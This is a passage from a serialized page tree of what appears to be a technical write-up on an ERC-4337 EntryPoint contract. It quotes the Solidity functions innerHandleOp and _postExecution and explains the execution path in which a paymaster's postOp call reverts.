",{"type":23,"tag":71,"props":115977,"children":115979},{"className":115978},[],[115980],{"type":29,"value":115902},{"type":29,"value":115982}," is neither ",{"type":23,"tag":71,"props":115984,"children":115986},{"className":115985},[],[115987],{"type":29,"value":115923},{"type":29,"value":115989}," nor ",{"type":23,"tag":71,"props":115991,"children":115993},{"className":115992},[],[115994],{"type":29,"value":115947},{"type":29,"value":115996},". To understand this case better, let's examine how ",{"type":23,"tag":71,"props":115998,"children":116000},{"className":115999},[],[116001],{"type":29,"value":115858},{"type":29,"value":116003}," works.",{"type":23,"tag":64,"props":116005,"children":116007},{"className":68,"code":116006,"language":67,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[116008],{"type":23,"tag":71,"props":116009,"children":116010},{"__ignoreMap":7},[116011,116027,116048,116068,116084,116117,116124,116141,116165,116205,116224,116249,116283,116307,116324,116332,116340,116348,116356,116364,116371,116384,116401,116408,116415,116422,116433,116472,116488,116495],{"type":23,"tag":75,"props":116012,"children":116013},{"class":77,"line":78},[116014,116018,116023],{"type":23,"tag":75,"props":116015,"children":116016},{"style":82},[116017],{"type":29,"value":100166},{"type":23,"tag":75,"props":116019,"children":116020},{"style":88},[116021],{"type":29,"value":116022}," innerHandleOp",{"type":23,"tag":75,"props":116024,"children":116025},{"style":94},[116026],{"type":29,"value":97},{"type":23,"tag":75,"props":116028,"children":116029},{"class":77,"line":100},[116030,116035,116039,116044],{"type":23,"tag":75,"props":116031,"children":116032},{"style":104},[116033],{"type":29,"value":116034},"        bytes",{"type":23,"tag":75,"props":116036,"children":116037},{"style":82},[116038],{"type":29,"value":113415},{"type":23,"tag":75,"props":116040,"children":116041},{"style":110},[116042],{"type":29,"value":116043}," callData",{"type":23,"tag":75,"props":116045,"children":116046},{"style":94},[116047],{"type":29,"value":118},{"type":23,"tag":75,"props":116049,"children":116050},{"class":77,"line":121},[116051,116055,116059,116064],{"type":23,"tag":75,"props":116052,"children":116053},{"style":82},[116054],{"type":29,"value":115075},{"type":23,"tag":75,"props":116056,"children":116057},{"style":82},[116058],{"type":29,"value":113415},{"type":23,"tag":75,"props":116060,"children":116061},{"style":110},[116062],{"type":29,"value":116063}," opInfo",{"type":23,"tag":75,"props":116065,"children":116066},{"style":94},[116067],{"type":29,"value":118},{"type":23,"tag":75,"props":116069,"children":116070},{"class":77,"line":138},[116071,116075,116079],{"type":23,"tag":75,"props":116072,"children":116073},{"style":104},[116074],{"type":29,"value":116034},{"type":23,"tag":75,"props":116076,"children":116077},{"style":82},[116078],{"type":29,"value":113347},{"type":23,"tag":75,"props":116080,"children":116081},{"style":110},[116082],{"type":29,"value":116083}," context\n",{"type":23,"tag":75,"props":116085,"children":116086},{"class":77,"line":161},[116087,116092,116097,116101,116105,116109,116113],{"type":23,"tag":75,"props":116088,"children":116089},{"style":94},[116090],{"type":29,"value":116091},"    ) ",{"type":23,"tag":75,"props":116093,"children":116094},{"style":82},[116095],{"type":29,"value":116096},"external",{"type":23,"tag":75,"props":116098,"children":116099},{"style":175},[116100],{"type":29,"value":178},{"type":23,"tag":75,"props":116102,"children":116103},{"style":94},[116104],{"type":29,"value":183},{"type":23,"tag":75,"props":116106,"children":116107},{"style":104},[116108],{"type":29,"value":57360},{"type":23,"tag":75,"props":116110,"children":116111},{"style":110},[116112],{"type":29,"value":114156},{"type":23,"tag":75,"props":116114,"children":116115},{"style":94},[116116],{"type":29,"value":193},{"type":23,"tag":75,"props":116118,"children":116119},{"class":77,"line":196},[116120],{"type":23,"tag":75,"props":116121,"children":116122},{"style":94},[116123],{"type":29,"value":115136},{"type":23,"tag":75,"props":116125,"children":116126},{"class":77,"line":220},[116127,116132,116136],{"type":23,"tag":75,"props":116128,"children":116129},{"style":94},[116130],{"type":29,"value":116131},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":75,"props":116133,"children":116134},{"style":209},[116135],{"type":29,"value":212},{"type":23,"tag":75,"props":116137,"children":116138},{"style":94},[116139],{"type":29,"value":116140}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":75,"props":116142,"children":116143},{"class":77,"line":248},[116144,116148,116153,116157,116161],{"type":23,"tag":75,"props":116145,"children":116146},{"style":175},[116147],{"type":29,"value":2445},{"type":23,"tag":75,"props":116149,"children":116150},{"style":94},[116151],{"type":29,"value":116152}," (callData.length ",{"type":23,"tag":75,"props":116154,"children":116155},{"style":209},[116156],{"type":29,"value":4652},{"type":23,"tag":75,"props":116158,"children":116159},{"style":237},[116160],{"type":29,"value":240},{"type":23,"tag":75,"props":116162,"children":116163},{"style":94},[116164],{"type":29,"value":193},{"type":23,"tag":75,"props":116166,"children":116167},{"class":77,"line":270},[116168,116173,116178,116182,116187,116191,116196,116200],{"type":23,"tag":75,"props":116169,"children":116170},{"style":104},[116171],{"type":29,"value":116172},"            bool",{"type":23,"tag":75,"props":116174,"children":116175},{"style":94},[116176],{"type":29,"value":116177}," success ",{"type":23,"tag":75,"props":116179,"children":116180},{"style":209},[116181],{"type":29,"value":212},{"type":23,"tag":75,"props":116183,"children":116184},{"style":94},[116185],{"type":29,"value":116186}," Exec.",{"type":23,"tag":75,"props":116188,"children":116189},{"style":88},[116190],{"type":29,"value":49487},{"type":23,"tag":75,"props":116192,"children":116193},{"style":94},[116194],{"type":29,"value":116195},"(mUserOp.sender, ",{"type":23,"tag":75,"props":116197,"children":116198},{"style":237},[116199],{"type":29,"value":648},{"type":23,"tag":75,"props":116201,"children":116202},{"style":94},[116203],{"type":29,"value":116204},", callData, callGasLimit);\n",{"type":23,"tag":75,"props":116206,"children":116207},{"class":77,"line":279},[116208,116212,116216,116220],{"type":23,"tag":75,"props":116209,"children":116210},{"style":175},[116211],{"type":29,"value":4629},{"type":23,"tag":75,"props":116213,"children":116214},{"style":94},[116215],{"type":29,"value":183},{"type":23,"tag":75,"props":116217,"children":116218},{"style":209},[116219],{"type":29,"value":13434},{"type":23,"tag":75,"props":116221,"children":116222},{"style":94},[116223],{"type":29,"value":115508},{"type":23,"tag":75,"props":116225,"children":116226},{"class":77,"line":303},[116227,116231,116236,116240,116245],{"type":23,"tag":75,"props":116228,"children":116229},{"style":104},[116230],{"type":29,"value":113795},{"type":23,"tag":75,"props":116232,"children":116233},{"style":94},[116234],{"type":29,"value":116235}," freePtr ",{"type":23,"tag":75,"props":116237,"children":116238},{"style":209},[116239],{"type":29,"value":212},{"type":23,"tag":75,"props":116241,"children":116242},{"style":88},[116243],{"type":29,"value":116244}," _getFreePtr",{"type":23,"tag":75,"props":116246,"children":116247},{"style":94},[116248],{"type":29,"value":14944},{"type":23,"tag":75,"props":116250,"children":116251},{"class":77,"line":322},[116252,116256,116260,116265,116269,116273,116278],{"type":23,"tag":75,"props":116253,"children":116254},{"style":104},[116255],{"type":29,"value":115192},{"type":23,"tag":75,"props":116257,"children":116258},{"style":82},[116259],{"type":29,"value":113415},{"type":23,"tag":75,"props":116261,"children":116262},{"style":94},[116263],{"type":29,"value":116264}," result ",{"type":23,"tag":75,"props":116266,"children":116267},{"style":209},[116268],{"type":29,"value":212},{"type":23,"tag":75,"props":116270,"children":116271},{"style":94},[116272],{"type":29,"value":116186},{"type":23,"tag":75,"props":116274,"children":116275},{"style":88},[116276],{"type":29,"value":116277},"getReturnData",{"type":23,"tag":75,"props":116279,"children":116280},{"style":94},[116281],{"type":29,"value":116282},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":75,"props":116284,"children":116285},{"class":77,"line":340},[116286,116290,116295,116299,116303],{"type":23,"tag":75,"props":116287,"children":116288},{"style":175},[116289],{"type":29,"value":113855},{"type":23,"tag":75,"props":116291,"children":116292},{"style":94},[116293],{"type":29,"value":116294}," (result.length ",{"type":23,"tag":75,"props":116296,"children":116297},{"style":209},[116298],{"type":29,"value":4652},{"type":23,"tag":75,"props":116300,"children":116301},{"style":237},[116302],{"type":29,"value":240},{"type":23,"tag":75,"props":116304,"children":116305},{"style":94},[116306],{"type":29,"value":193},{"type":23,"tag":75,"props":116308,"children":116309},{"class":77,"line":349},[116310,116315,116320],{"type":23,"tag":75,"props":116311,"children":116312},{"style":175},[116313],{"type":29,"value":116314},"                    emit",{"type":23,"tag":75,"props":116316,"children":116317},{"style":88},[116318],{"type":29,"value":116319}," UserOperationRevertReason",{"type":23,"tag":75,"props":116321,"children":116322},{"style":94},[116323],{"type":29,"value":97},{"type":23,"tag":75,"props":116325,"children":116326},{"class":77,"line":363},[116327],{"type":23,"tag":75,"props":116328,"children":116329},{"style":94},[116330],{"type":29,"value":116331},"                        opInfo.userOpHash,\n",{"type":23,"tag":75,"props":116333,"children":116334},{"class":77,"line":656},[116335],{"type":23,"tag":75,"props":116336,"children":116337},{"style":94},[116338],{"type":29,"value":116339},"                        mUserOp.sender,\n",{"type":23,"tag":75,"props":116341,"children":116342},{"class":77,"line":705},[116343],{"type":23,"tag":75,"props":116344,"children":116345},{"style":94},[116346],{"type":29,"value":116347},"                        mUserOp.nonce,\n",{"type":23,"tag":75,"props":116349,"children":116350},{"class":77,"line":787},[116351],{"type":23,"tag":75,"props":116352,"children":116353},{"style":94},[116354],{"type":29,"value":116355},"                        result\n",{"type":23,"tag":75,"props":116357,"children":116358},{"class":77,"line":826},[116359],{"type":23,"tag":75,"props":116360,"children":116361},{"style":94},[116362],{"type":29,"value":116363},"                    );\n",{"type":23,"tag":75,"props":116365,"children":116366},{"class":77,"line":834},[116367],{"type":23,"tag":75,"props":116368,"children":116369},{"style":94},[116370],{"type":29,"value":4964},{"type":23,"tag":75,"props":116372,"children":116373},{"class":77,"line":881},[116374,116379],{"type":23,"tag":75,"props":116375,"children":116376},{"style":88},[116377],{"type":29,"value":116378},"                _restoreFreePtr",{"type":23,"tag":75,"props":116380,"children":116381},{"style":94},[116382],{"type":29,"value":116383},"(freePtr);\n",{"type":23,"tag":75,"props":116385,"children":116386},{"class":77,"line":3355},[116387,116392,116396],{"type":23,"tag":75,"props":116388,"children":116389},{"style":94},[116390],{"type":29,"value":116391},"                mode ",{"type":23,"tag":75,"props":116393,"children":116394},{"style":209},[116395],{"type":29,"value":212},{"type":23,"tag":75,"props":116397,"children":116398},{"style":94},[116399],{"type":29,"value":116400}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":75,"props":116402,"children":116403},{"class":77,"line":3390},[116404],{"type":23,"tag":75,"props":116405,"children":116406},{"style":94},[116407],{"type":29,"value":5022},{"type":23,"tag":75,"props":116409,"children":116410},{"class":77,"line":3423},[116411],{"type":23,"tag":75,"props":116412,"children":116413},{"style":94},[116414],{"type":29,"value":2503},{"type":23,"tag":75,"props":116416,"children":116417},{"class":77,"line":3436},[116418],{"type":23,"tag":75,"props":116419,"children":116420},{"emptyLinePlaceholder":15},[116421],{"type":29,"value":276},{"type":23,"tag":75,"props":116423,"children":116424},{"class":77,"line":3449},[116425,116429],{"type":23,"tag":75,"props":116426,"children":116427},{"style":175},[116428],{"type":29,"value":113451},{"type":23,"tag":75,"props":116430,"children":116431},{"style":94},[116432],{"type":29,"value":401},{"type":23,"tag":75,"props":116434,"children":116435},{"class":77,"line":3457},[116436,116440,116444,116448,116452,116456,116460,116464,116468],{"type":23,"tag":75,"props":116437,"children":116438},{"style":104},[116439],{"type":29,"value":113463},{"type":23,"tag":75,"props":116441,"children":116442},{"style":94},[116443],{"type":29,"value":115627},{"type":23,"tag":75,"props":116445,"children":116446},{"style":209},[116447],{"type":29,"value":212},{"type":23,"tag":75,"props":116449,"children":116450},{"style":94},[116451],{"type":29,"value":115636},{"type":23,"tag":75,"props":116453,"children":116454},{"style":209},[116455],{"type":29,"value":15602},{"type":23,"tag":75,"props":116457,"children":116458},{"style":82},[116459],{"type":29,"value":115645},{"type":23,"tag":75,"props":116461,"children":116462},{"style":94},[116463],{"type":29,"value":2464},{"type":23,"tag":75,"props":116465,"children":116466},{"style":209},[116467],{"type":29,"value":7862},{"type":23,"tag":75,"props":116469,"children":116470},{"style":94},[116471],{"type":29,"value":115658},{"type":23,"tag":75,"props":116473,"children":116474},{"class":77,"line":3465},[116475,116479,116483],{"type":23,"tag":75,"props":116476,"children":116477},{"style":175},[116478],{"type":29,"value":3396},{"type":23,"tag":75,"props":116480,"children":116481},{"style":88},[116482],{"type":29,"value":115767},{"type":23,"tag":75,"props":116484,"children":116485},{"style":94},[116486],{"type":29,"value":116487},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":75,"props":116489,"children":116490},{"class":77,"line":3473},[116491],{"type":23,"tag":75,"props":116492,"children":116493},{"style":94},[116494],{"type":29,"value":2503},{"type":23,"tag":75,"props":116496,"children":116497},{"class":77,"line":3481},[116498],{"type":23,"tag":75,"props":116499,"children":116500},{"style":94},[116501],{"type":29,"value":346},{"type":23,"tag":32,"props":116503,"children":116504},{},[116505,116507,116512,116514,116519,116521,116527,116529,116535,116537,116542,116544,116554],{"type":29,"value":116506},"We observe that, in the happy path, ",{"type":23,"tag":71,"props":116508,"children":116510},{"className":116509},[],[116511],{"type":29,"value":115858},{"type":29,"value":116513}," is expected to not only execute the actual ",{"type":23,"tag":71,"props":116515,"children":116517},{"className":116516},[],[116518],{"type":29,"value":112517},{"type":29,"value":116520}," call, but also call ",{"type":23,"tag":71,"props":116522,"children":116524},{"className":116523},[],[116525],{"type":29,"value":116526},"_postExecution",{"type":29,"value":116528},". This means that the third failure handling path, which passes ",{"type":23,"tag":71,"props":116530,"children":116532},{"className":116531},[],[116533],{"type":29,"value":116534},"postOpReverted",{"type":29,"value":116536}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":71,"props":116538,"children":116540},{"className":116539},[],[116541],{"type":29,"value":116526},{"type":29,"value":116543}," call ",{"type":23,"tag":16596,"props":116545,"children":116546},{},[116547,116549],{"type":29,"value":116548},"inside ",{"type":23,"tag":71,"props":116550,"children":116552},{"className":116551},[],[116553],{"type":29,"value":115858},{"type":29,"value":557},{"type":23,"tag":32,"props":116556,"children":116557},{},[116558,116560,116565],{"type":29,"value":116559},"Let's examine the ",{"type":23,"tag":71,"props":116561,"children":116563},{"className":116562},[],[116564],{"type":29,"value":116526},{"type":29,"value":116566}," code to understand where the revert might occur.",{"type":23,"tag":64,"props":116568,"children":116570},{"className":68,"code":116569,"language":67,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[116571],{"type":23,"tag":71,"props":116572,"children":116573},{"__ignoreMap":7},[116574,116589,116614,116633,116652,116664,116701,116708,116740,116757,116772,116788,116812,116837,116861,116883,116901,116918,116926,116944,116960,116993,117011,117018,117025,117033,117049,117081,117103,117110,117117,117124],{"type":23,"tag":75,"props":116575,"children":116576},{"class":77,"line":78},[116577,116581,116585],{"type":23,"tag":75,"props":116578,"children":116579},{"style":82},[116580],{"type":29,"value":100166},{"type":23,"tag":75,"props":116582,"children":116583},{"style":88},[116584],{"type":29,"value":115767},{"type":23,"tag":75,"props":116586,"children":116587},{"style":94},[116588],{"type":29,"value":97},{"type":23,"tag":75,"props":116590,"children":116591},{"class":77,"line":100},[116592,116597,116601,116605,116610],{"type":23,"tag":75,"props":116593,"children":116594},{"style":82},[116595],{"type":29,"value":116596},"        IPaymaster",{"type":23,"tag":75,"props":116598,"children":116599},{"style":94},[116600],{"type":29,"value":557},{"type":23,"tag":75,"props":116602,"children":116603},{"style":110},[116604],{"type":29,"value":114127},{"type":23,"tag":75,"props":116606,"children":116607},{"style":110},[116608],{"type":29,"value":116609}," mode",{"type":23,"tag":75,"props":116611,"children":116612},{"style":94},[116613],{"type":29,"value":118},{"type":23,"tag":75,"props":116615,"children":116616},{"class":77,"line":121},[116617,116621,116625,116629],{"type":23,"tag":75,"props":116618,"children":116619},{"style":82},[116620],{"type":29,"value":115075},{"type":23,"tag":75,"props":116622,"children":116623},{"style":82},[116624],{"type":29,"value":113415},{"type":23,"tag":75,"props":116626,"children":116627},{"style":110},[116628],{"type":29,"value":116063},{"type":23,"tag":75,"props":116630,"children":116631},{"style":94},[116632],{"type":29,"value":118},{"type":23,"tag":75,"props":116634,"children":116635},{"class":77,"line":138},[116636,116640,116644,116648],{"type":23,"tag":75,"props":116637,"children":116638},{"style":104},[116639],{"type":29,"value":116034},{"type":23,"tag":75,"props":116641,"children":116642},{"style":82},[116643],{"type":29,"value":113415},{"type":23,"tag":75,"props":116645,"children":116646},{"style":110},[116647],{"type":29,"value":552},{"type":23,"tag":75,"props":116649,"children":116650},{"style":94},[116651],{"type":29,"value":118},{"type":23,"tag":75,"props":116653,"children":116654},{"class":77,"line":161},[116655,116659],{"type":23,"tag":75,"props":116656,"children":116657},{"style":104},[116658],{"type":29,"value":100344},{"type":23,"tag":75,"props":116660,"children":116661},{"style":110},[116662],{"type":29,"value":116663}," actualGas\n",{"type":23,"tag":75,"props":116665,"children":116666},{"class":77,"line":196},[116667,116671,116676,116681,116685,116689,116693,116697],{"type":23,"tag":75,"props":116668,"children":116669},{"style":94},[116670],{"type":29,"value":116091},{"type":23,"tag":75,"props":116672,"children":116673},{"style":82},[116674],{"type":29,"value":116675},"internal",{"type":23,"tag":75,"props":116677,"children":116678},{"style":82},[116679],{"type":29,"value":116680}," virtual",{"type":23,"tag":75,"props":116682,"children":116683},{"style":175},[116684],{"type":29,"value":178},{"type":23,"tag":75,"props":116686,"children":116687},{"style":94},[116688],{"type":29,"value":183},{"type":23,"tag":75,"props":116690,"children":116691},{"style":104},[116692],{"type":29,"value":57360},{"type":23,"tag":75,"props":116694,"children":116695},{"style":110},[116696],{"type":29,"value":114156},{"type":23,"tag":75,"props":116698,"children":116699},{"style":94},[116700],{"type":29,"value":193},{"type":23,"tag":75,"props":116702,"children":116703},{"class":77,"line":220},[116704],{"type":23,"tag":75,"props":116705,"children":116706},{"style":94},[116707],{"type":29,"value":115136},{"type":23,"tag":75,"props":116709,"children":116710},{"class":77,"line":248},[116711,116715,116720,116724,116728,116732,116736],{"type":23,"tag":75,"props":116712,"children":116713},{"style":175},[116714],{"type":29,"value":4629},{"type":23,"tag":75,"props":116716,"children":116717},{"style":94},[116718],{"type":29,"value":116719}," (paymaster ",{"type":23,"tag":75,"props":116721,"children":116722},{"style":209},[116723],{"type":29,"value":2469},{"type":23,"tag":75,"props":116725,"children":116726},{"style":104},[116727],{"type":29,"value":17517},{"type":23,"tag":75,"props":116729,"children":116730},{"style":94},[116731],{"type":29,"value":643},{"type":23,"tag":75,"props":116733,"children":116734},{"style":237},[116735],{"type":29,"value":648},{"type":23,"tag":75,"props":116737,"children":116738},{"style":94},[116739],{"type":29,"value":46388},{"type":23,"tag":75,"props":116741,"children":116742},{"class":77,"line":270},[116743,116748,116752],{"type":23,"tag":75,"props":116744,"children":116745},{"style":94},[116746],{"type":29,"value":116747},"                refundAddress ",{"type":23,"tag":75,"props":116749,"children":116750},{"style":209},[116751],{"type":29,"value":212},{"type":23,"tag":75,"props":116753,"children":116754},{"style":94},[116755],{"type":29,"value":116756}," mUserOp.sender;\n",{"type":23,"tag":75,"props":116758,"children":116759},{"class":77,"line":279},[116760,116764,116768],{"type":23,"tag":75,"props":116761,"children":116762},{"style":94},[116763],{"type":29,"value":81766},{"type":23,"tag":75,"props":116765,"children":116766},{"style":175},[116767],{"type":29,"value":6878},{"type":23,"tag":75,"props":116769,"children":116770},{"style":94},[116771],{"type":29,"value":401},{"type":23,"tag":75,"props":116773,"children":116774},{"class":77,"line":303},[116775,116779,116783],{"type":23,"tag":75,"props":116776,"children":116777},{"style":94},[116778],{"type":29,"value":116747},{"type":23,"tag":75,"props":116780,"children":116781},{"style":209},[116782],{"type":29,"value":212},{"type":23,"tag":75,"props":116784,"children":116785},{"style":94},[116786],{"type":29,"value":116787}," paymaster;\n",{"type":23,"tag":75,"props":116789,"children":116790},{"class":77,"line":322},[116791,116795,116800,116804,116808],{"type":23,"tag":75,"props":116792,"children":116793},{"style":175},[116794],{"type":29,"value":113855},{"type":23,"tag":75,"props":116796,"children":116797},{"style":94},[116798],{"type":29,"value":116799}," (context.length ",{"type":23,"tag":75,"props":116801,"children":116802},{"style":209},[116803],{"type":29,"value":4652},{"type":23,"tag":75,"props":116805,"children":116806},{"style":237},[116807],{"type":29,"value":240},{"type":23,"tag":75,"props":116809,"children":116810},{"style":94},[116811],{"type":29,"value":193},{"type":23,"tag":75,"props":116813,"children":116814},{"class":77,"line":340},[116815,116820,116824,116828,116832],{"type":23,"tag":75,"props":116816,"children":116817},{"style":94},[116818],{"type":29,"value":116819},"                    actualGasCost ",{"type":23,"tag":75,"props":116821,"children":116822},{"style":209},[116823],{"type":29,"value":212},{"type":23,"tag":75,"props":116825,"children":116826},{"style":94},[116827],{"type":29,"value":115627},{"type":23,"tag":75,"props":116829,"children":116830},{"style":209},[116831],{"type":29,"value":601},{"type":23,"tag":75,"props":116833,"children":116834},{"style":94},[116835],{"type":29,"value":116836}," gasPrice;\n",{"type":23,"tag":75,"props":116838,"children":116839},{"class":77,"line":349},[116840,116844,116849,116853,116857],{"type":23,"tag":75,"props":116841,"children":116842},{"style":104},[116843],{"type":29,"value":113812},{"type":23,"tag":75,"props":116845,"children":116846},{"style":94},[116847],{"type":29,"value":116848}," postOpPreGas ",{"type":23,"tag":75,"props":116850,"children":116851},{"style":209},[116852],{"type":29,"value":212},{"type":23,"tag":75,"props":116854,"children":116855},{"style":82},[116856],{"type":29,"value":115645},{"type":23,"tag":75,"props":116858,"children":116859},{"style":94},[116860],{"type":29,"value":14944},{"type":23,"tag":75,"props":116862,"children":116863},{"class":77,"line":363},[116864,116869,116874,116878],{"type":23,"tag":75,"props":116865,"children":116866},{"style":175},[116867],{"type":29,"value":116868},"                    if",{"type":23,"tag":75,"props":116870,"children":116871},{"style":94},[116872],{"type":29,"value":116873}," (mode ",{"type":23,"tag":75,"props":116875,"children":116876},{"style":209},[116877],{"type":29,"value":26916},{"type":23,"tag":75,"props":116879,"children":116880},{"style":94},[116881],{"type":29,"value":116882}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":75,"props":116884,"children":116885},{"class":77,"line":656},[116886,116891,116896],{"type":23,"tag":75,"props":116887,"children":116888},{"style":175},[116889],{"type":29,"value":116890},"                        try",{"type":23,"tag":75,"props":116892,"children":116893},{"style":88},[116894],{"type":29,"value":116895}," IPaymaster",{"type":23,"tag":75,"props":116897,"children":116898},{"style":94},[116899],{"type":29,"value":116900},"(paymaster).postOp{\n",{"type":23,"tag":75,"props":116902,"children":116903},{"class":77,"line":705},[116904,116909,116913],{"type":23,"tag":75,"props":116905,"children":116906},{"style":94},[116907],{"type":29,"value":116908},"                                gas",{"type":23,"tag":75,"props":116910,"children":116911},{"style":209},[116912],{"type":29,"value":1018},{"type":23,"tag":75,"props":116914,"children":116915},{"style":94},[116916],{"type":29,"value":116917}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":75,"props":116919,"children":116920},{"class":77,"line":787},[116921],{"type":23,"tag":75,"props":116922,"children":116923},{"style":94},[116924],{"type":29,"value":116925},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":75,"props":116927,"children":116928},{"class":77,"line":826},[116929,116934,116939],{"type":23,"tag":75,"props":116930,"children":116931},{"style":3621},[116932],{"type":29,"value":116933},"                        // ",{"type":23,"tag":75,"props":116935,"children":116936},{"style":82},[116937],{"type":29,"value":116938},"solhint-disable",{"type":23,"tag":75,"props":116940,"children":116941},{"style":3621},[116942],{"type":29,"value":116943},"-next-line no-empty-blocks\n",{"type":23,"tag":75,"props":116945,"children":116946},{"class":77,"line":834},[116947,116952,116956],{"type":23,"tag":75,"props":116948,"children":116949},{"style":94},[116950],{"type":29,"value":116951},"                        {} ",{"type":23,"tag":75,"props":116953,"children":116954},{"style":175},[116955],{"type":29,"value":59602},{"type":23,"tag":75,"props":116957,"children":116958},{"style":94},[116959],{"type":29,"value":401},{"type":23,"tag":75,"props":116961,"children":116962},{"class":77,"line":881},[116963,116968,116972,116977,116981,116985,116989],{"type":23,"tag":75,"props":116964,"children":116965},{"style":104},[116966],{"type":29,"value":116967},"                            bytes",{"type":23,"tag":75,"props":116969,"children":116970},{"style":82},[116971],{"type":29,"value":113415},{"type":23,"tag":75,"props":116973,"children":116974},{"style":94},[116975],{"type":29,"value":116976}," reason ",{"type":23,"tag":75,"props":116978,"children":116979},{"style":209},[116980],{"type":29,"value":212},{"type":23,"tag":75,"props":116982,"children":116983},{"style":94},[116984],{"type":29,"value":116186},{"type":23,"tag":75,"props":116986,"children":116987},{"style":88},[116988],{"type":29,"value":116277},{"type":23,"tag":75,"props":116990,"children":116991},{"style":94},[116992],{"type":29,"value":116282},{"type":23,"tag":75,"props":116994,"children":116995},{"class":77,"line":3355},[116996,117001,117006],{"type":23,"tag":75,"props":116997,"children":116998},{"style":175},[116999],{"type":29,"value":117000},"                            revert",{"type":23,"tag":75,"props":117002,"children":117003},{"style":88},[117004],{"type":29,"value":117005}," PostOpReverted",{"type":23,"tag":75,"props":117007,"children":117008},{"style":94},[117009],{"type":29,"value":117010},"(reason);\n",{"type":23,"tag":75,"props":117012,"children":117013},{"class":77,"line":3390},[117014],{"type":23,"tag":75,"props":117015,"children":117016},{"style":94},[117017],{"type":29,"value":82150},{"type":23,"tag":75,"props":117019,"children":117020},{"class":77,"line":3423},[117021],{"type":23,"tag":75,"props":117022,"children":117023},{"style":94},[117024],{"type":29,"value":82235},{"type":23,"tag":75,"props":117026,"children":117027},{"class":77,"line":3436},[117028],{"type":23,"tag":75,"props":117029,"children":117030},{"style":3621},[117031],{"type":29,"value":117032},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":75,"props":117034,"children":117035},{"class":77,"line":3449},[117036,117040,117044],{"type":23,"tag":75,"props":117037,"children":117038},{"style":3621},[117039],{"type":29,"value":113877},{"type":23,"tag":75,"props":117041,"children":117042},{"style":82},[117043],{"type":29,"value":77936},{"type":23,"tag":75,"props":117045,"children":117046},{"style":3621},[117047],{"type":29,"value":117048}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":75,"props":117050,"children":117051},{"class":77,"line":3457},[117052,117056,117061,117065,117069,117073,117077],{"type":23,"tag":75,"props":117053,"children":117054},{"style":104},[117055],{"type":29,"value":113812},{"type":23,"tag":75,"props":117057,"children":117058},{"style":94},[117059],{"type":29,"value":117060}," postOpGasUsed ",{"type":23,"tag":75,"props":117062,"children":117063},{"style":209},[117064],{"type":29,"value":212},{"type":23,"tag":75,"props":117066,"children":117067},{"style":94},[117068],{"type":29,"value":116848},{"type":23,"tag":75,"props":117070,"children":117071},{"style":209},[117072],{"type":29,"value":15602},{"type":23,"tag":75,"props":117074,"children":117075},{"style":82},[117076],{"type":29,"value":115645},{"type":23,"tag":75,"props":117078,"children":117079},{"style":94},[117080],{"type":29,"value":14944},{"type":23,"tag":75,"props":117082,"children":117083},{"class":77,"line":3465},[117084,117089,117093,117098],{"type":23,"tag":75,"props":117085,"children":117086},{"style":94},[117087],{"type":29,"value":117088},"                    postOpUnusedGasPenalty ",{"type":23,"tag":75,"props":117090,"children":117091},{"style":209},[117092],{"type":29,"value":212},{"type":23,"tag":75,"props":117094,"children":117095},{"style":88},[117096],{"type":29,"value":117097}," _getUnusedGasPenalty",{"type":23,"tag":75,"props":117099,"children":117100},{"style":94},[117101],{"type":29,"value":117102},"(postOpGasUsed, 